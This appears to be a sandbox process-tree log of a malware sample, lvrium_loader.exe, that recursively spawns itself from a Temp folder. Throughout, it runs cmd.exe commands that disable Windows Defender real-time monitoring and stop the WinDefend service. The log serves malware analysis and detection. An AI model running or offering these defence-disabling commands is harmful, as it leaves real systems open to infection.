        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:17612
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:17772
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:21984
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:23072
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:30536
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        12⤵
        
        PID:28580
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        10⤵
        
        PID:28200
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        8⤵
        
        PID:27936
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
      4⤵
      PID:12824
    - - C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        5⤵
        
        PID:12952
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:12964
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        7⤵
        
        PID:13104
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:13152
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:12796
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:12980
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:13480
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:13516
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:13788
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:13820
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:14072
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:14120
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:14296
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:14320
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:14592
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:14648
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:15812
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:15956
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:19088
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:5932
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:25708
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:26452
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        20⤵
        
        PID:30084
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        12⤵
        
        PID:28520
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        10⤵
        
        PID:28092

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5076

C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
1⤵
PID:1140
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
  2⤵
  PID:4772
- - C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
    C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
    3⤵
    PID:4760
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
      4⤵
      PID:5764
    - - C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        5⤵
        
        PID:616
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:3488
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        7⤵
        
        PID:3964
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:3788
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:2796
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:4436
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:2588
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:1200
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:2980
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:2308
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:1636
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:432
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:2788
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:5792
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:2752
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:3844
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:884
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:5832
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:5272
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:1824
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:4936
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:5376
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        27⤵
        
        PID:1100
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:1852
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        29⤵
        
        PID:4188
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:5180
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        31⤵
        
        PID:5640
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:3972
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        33⤵
        
        PID:304
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:312
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        35⤵
        
        PID:792
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:52
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        37⤵
        
        PID:5648
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:5000
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        39⤵
        
        PID:1736
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:5472
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        41⤵
        
        PID:4604
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:3024
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        43⤵
        
        PID:6180
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:6212
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        45⤵
        
        PID:6284
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:6316
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        47⤵
        
        PID:6380
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:6420
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        49⤵
        
        PID:6484
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:6504
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        51⤵
        
        PID:6592
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        53⤵
        
        PID:6704
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:6736
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        55⤵
        
        PID:6812
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:6852
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        57⤵
        
        PID:6908
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        58⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        59⤵
        
        PID:7012
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        60⤵
        
        PID:7036
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        61⤵
        
        PID:7120
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        62⤵
        
        PID:7148
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        63⤵
        
        PID:6564
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        64⤵
        
        PID:6888
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        65⤵
        
        PID:7196
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        66⤵
        
        PID:7228
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        67⤵
        
        PID:7300
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        68⤵
        
        PID:7332
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        69⤵
        
        PID:7408
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        70⤵
        
        PID:7436
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        71⤵
        
        PID:7512
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        72⤵
        
        PID:7540
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        73⤵
        
        PID:7624
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        74⤵
        
        PID:7656
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        75⤵
        
        PID:7720
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        76⤵
        
        PID:7740
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        77⤵
        
        PID:7824
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        78⤵
        
        PID:7856
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        79⤵
        
        PID:7928
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        80⤵
        
        PID:7948
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        81⤵
        
        PID:8040
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        82⤵
        
        PID:8068
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        83⤵
        
        PID:8136
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        84⤵
        
        PID:8156
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        85⤵
        
        PID:7576
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        86⤵
        
        PID:7760
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        87⤵
        
        PID:8228
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        88⤵
        
        PID:8260
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        89⤵
        
        PID:8324
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        90⤵
        
        PID:8372
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        91⤵
        
        PID:8436
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        92⤵
        
        PID:8468
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        93⤵
        
        PID:8572
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        94⤵
        
        PID:8596
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        95⤵
        
        PID:8684
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        96⤵
        
        PID:8700
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        97⤵
        
        PID:8776
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        98⤵
        
        PID:8804
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        99⤵
        
        PID:8856
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        100⤵
        
        PID:8900
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        101⤵
        
        PID:8960
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        102⤵
        
        PID:8992
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        103⤵
        
        PID:9056
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        104⤵
        
        PID:9088
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        105⤵
        
        PID:9172
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        106⤵
        
        PID:9212
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        107⤵
        
        PID:8488
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        108⤵
        
        PID:8896
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        109⤵
        
        PID:9268
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        110⤵
        
        PID:9296
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        111⤵
        
        PID:9364
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        112⤵
        
        PID:9388
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        113⤵
        
        PID:9468
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        114⤵
        
        PID:9508
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        115⤵
        
        PID:9580
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        116⤵
        
        PID:9612
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        117⤵
        
        PID:9692
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        118⤵
        
        PID:9724
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        119⤵
        
        PID:9792
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        120⤵
        
        PID:9832
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        121⤵
        
        PID:9888
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        122⤵
        
        PID:9912
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        123⤵
        
        PID:10004
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        124⤵
        
        PID:10032
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        125⤵
        
        PID:10100
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        126⤵
        
        PID:10120
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        127⤵
        
        PID:10212
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        128⤵
        
        PID:9312
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        129⤵
        
        PID:9844
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        130⤵
        
        PID:10140
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        131⤵
        
        PID:10296
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        132⤵
        
        PID:10320
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        133⤵
        
        PID:10396
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        134⤵
        
        PID:10416
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        135⤵
        
        PID:10492
        
